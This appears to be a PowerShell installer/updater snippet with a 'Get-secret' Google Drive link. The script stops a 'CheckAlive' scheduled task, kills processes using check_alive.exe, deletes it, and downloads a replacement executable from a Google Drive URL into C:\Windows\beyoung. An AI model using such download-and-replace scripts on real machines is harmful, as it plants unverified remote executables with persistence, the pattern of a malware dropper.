Get-secret:
https://drive.google.com/file/d/1OyCQLgU_44oCvpW_LxZqHdvc-0WYnoiF/view?usp=sharing
Installer/Updater:
$basePath = "C:\Windows\beyoung"
$url = "https://drive.usercontent.google.com/download?id=1lv-s4bysmK7sfVR5d2ljd9DIRD8Ujvpp&export=download&authuser=0&confirm=t&uuid=ff1c2c50-773e-4943-a400-e0de95421fd5&at=ALoNOgm-9AtvU3RE4rHqz3Pv2V2-%3A1747284556843"
$file = "C:\Windows\beyoung\check_alive.exe"
if (Test-Path $basePath) {
$taskName = "CheckAlive"
$task = Get-ScheduledTask -TaskName $taskName
#Stop it if running
if ($task.State -eq "Running") {
Stop-ScheduledTask -TaskName $taskName
Write-Host "Scheduled task stopped."
} else {
Write-Host "Scheduled task is not running."
}
# Get all processes using the file and stop them
$processes = Get-Process | Where-Object {
$_.Path -eq $file
}
foreach ($proc in $processes) {
try {
Stop-Process -Id $proc.Id -Force
} catch {
Write-Host "Failed to stop process $($proc.Name) (ID: $($proc.Id)): $($_.Exception.Message)"
}
}
# If the file exists, delete it
Remove-Item $file -Force
Write-Host "File deleted successfully."
# Remove the scheduled task
#Invoke-WebRequest -Uri $url -OutFile $file
Start-BitsTransfer -Source $url -Destination $file
# Start $file
} else {
# Create the directory if it doesn't exist
New-Item -ItemType Directory -Path $basePath
# Download the file
Start-BitsTransfer -Source $url -Destination $file
}